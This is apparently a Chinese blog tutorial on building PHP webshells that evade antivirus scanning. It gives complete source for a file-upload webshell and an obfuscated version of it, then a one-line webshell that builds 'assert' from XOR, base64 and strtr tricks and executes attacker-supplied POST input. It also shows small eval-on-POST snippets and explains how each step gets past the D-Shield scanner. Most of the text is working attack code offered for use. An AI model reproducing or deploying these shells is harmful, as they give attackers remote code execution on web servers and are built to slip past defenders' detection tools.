php免杀小马+一句话

一、免杀小马

小马源代码

我们首先要有一个文件上传下马的源代码,接下来才能对改源码做免杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 这是源代码
<?php
header("content-Type: text/html; charset=utf-8");
?>
<form method="POST"></br>
shell路径: <input type="text" name="file" size="60" value="<? echo str_replace('\\', '/', __FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18"></textarea>
<br><br>
<input type="submit" name="submit" value="保存">
</form>

<?php
error_reporting(0);
if ($_POST) {
$f = fopen($_POST["file"], "w");
echo fwrite($f, $_POST["text"]) ? '保存成功!' : '保存失败!';
}
?>

该原始文件自然是不会免杀的
enter description here

小马免杀思路

先上完整代码,大致分为三部分的免杀处理,后续进行逐一思路拆解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
header("content-Type: text/html; charset=utf-8");
?>

<form method="POST"></br>
路径: <input type="text" name="file" size="60" value="<? echo str_replace('\\', '/', __FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18"></textarea>
<br><br>
<input type="submit" name="submit" value="保存">
</form>

<?php
error_reporting(0);
if ($_POST) {
// 第一部分
$aa = "~+d()" ^ "!{+{}";
$bb = ${$aa}["file"];
$f = fopen($bb, 'w');
// 第二部分
$tarr = array("j" => "e", "a" => "x");
$t = strtr('tjat', $tarr);
// 第三部分
$j = $_POST[$t];
$k = "\n";
echo fwrite($f, $k.=$j) ? '保存成功!' : '保存失败!';
}

?>

第一部分和第三部分主要是对$_POST做隐藏处理
首先第一部分代码,这里主要是利用异或赋值$aa = "~+d()" ^ "!{+{}",而字符串~+d()" ^ "!{+{}异或的结果为_POST,然后$bb = ${$aa}["file"]$bb = $_POST["file"]等价,这样就成功的把$_POST隐藏起来了。
举个例子:

1
2
3
4
5
<?php
$a = "~+d()"^"!{+{}";
$b = ${$a}[a];
eval($b);
?>

第三部分是使用的特殊字符干扰,要求能干扰到杀毒软件得正则判断,还要代码能执行。这里使用的是连接符进行构造。
举个例子:

1
2
3
4
5
<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>

第二部分是对字符串text做处理
为什么要对这个字符串做处理呢,因为不作处理D盾会警告可疑文件
enter description here
这里使用strtr函数对字符串做处理,他可以替换字符串中的字符,我们使用一个混淆的字符串再加上调用一个数组来指定替换那些字符串,最终结果成功绕过D盾。该函数具体介绍参考这篇文章
enter description here

二、免杀一句话

先贴免杀代码,后边讲思路

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function guodog($b){
$l1="Mw=="; // 3
$tarr = array("j" => "o", "h" => "s");
$jjkjkjkjkkjkh = strtr('bahe64_decjde', $tarr);
$l=$jjkjkjkjkkjkh($l1);
$l2=("$l"^'R').("$l"^'@').("$l"^'@').("$l"^'V').("$l"^'K').("$l"^'K'); //assexx

$d = substr_replace($l2,"rt",4);
$a = array($arrayName = ($arrayName =($arrayName = array('a' => $d($_POST['x'])))));
}
guodog($b);
?>

首先我们这个一句话主要使用了异或的方法隐藏assert,简单的用案例介绍一下异或的使用方法

1
2
3
4
5
6
7
8
9
10
11
<?php
echo ("x"^"3")."<br/>"; // 左侧为我们想要的字符 x ,这个异或的返回结果为 K
echo ("3"^"K")."<br/>"; // 我们将上个结果 K 放到右侧,左侧为上个异或的右侧 3 ,即可成功返回 x

// 循环上边两个步骤,便可以不断尝试出我们想要的字符所对应的异或
echo ("3"^"R")."<br/>"; // a
echo ("3"^"@")."<br/>"; // s
echo ("3"^"@")."<br/>"; // s
echo ("3"^"V")."<br/>"; // e
echo ("3"^"A")."<br/>"; // r
echo ("3"^"G")."<br/>"; // t

我们可以使用连接符将异或结果拼接为assert

1
2
3
4
<?php
$l=("3"^"R").("3"^"@").("3"^"@").("3"^"V").("3"^"A").("3"^"G");
echo $l; //assert
?>

但是这个方法放到一句话木马里D盾会提示可疑文件
enter description here
所以我们要对异或的字符串做加密处理(注:不能一口气将全部的内容做加密,就算解开了会当做一个字符串处理,不会再解析了),这里选择将3作为加密字符

加密方式使用base64,但是D盾对base64_decode做的有校验,不能直接使用,我们采取小马中对字符串处理的方法,使用strtr函数传递一个数组进去,详细看小马部分内容。

最后我们输出的时候我们不能将变量和$_POST[value]放在一起,否则D盾会报可疑变量
enter description here
最后使用数组的形式进行传递,成功绕过D盾
enter description here